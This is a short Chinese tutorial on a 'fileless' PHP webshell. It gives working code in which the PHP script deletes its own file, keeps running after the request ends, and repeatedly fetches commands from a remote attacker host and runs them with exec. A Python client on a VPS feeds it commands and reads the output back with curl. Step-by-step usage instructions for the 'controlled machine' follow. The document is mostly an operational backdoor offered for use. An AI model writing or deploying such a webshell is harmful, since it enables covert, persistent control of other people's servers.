php无文件webshell

无文件webshell,就是执行完驻留内存中,主要是利用函数 ignore_user_abort。

webshell:

1
2
3
4
5
6
7
8
9
10
11
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://192.168.192.1:8888/shell.txt';
while($code = file_get_contents($remote_file)){
exec($code);
sleep(5);
unlink('1.txt');
};
?>

我写了一个客户端,就可以直接调用了。

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import os
import time

sys_shell = sys.argv[1]
get_shell1 = sys.argv[2]
file = open('shell.txt','w')
sys_shell1 = sys_shell+'>1.txt'
file.write(sys_shell1)
file.close()
get_shell = "curl "+get_shell1+"/1.txt"
time.sleep(5)
dd = os.popen(get_shell).read()
while True:
if '404' in dd:
continue
else:
print(dd)
break

先在vps运行client.py

1
python client.py whoami http://2.2.2.2

然后在被控机器上运行

1
php shell.php

client.py 那个ip要和shell.php在同一个文件夹

如果想结束所有进程,只要把client下的shell.txt文件删除,或者置空就可以了。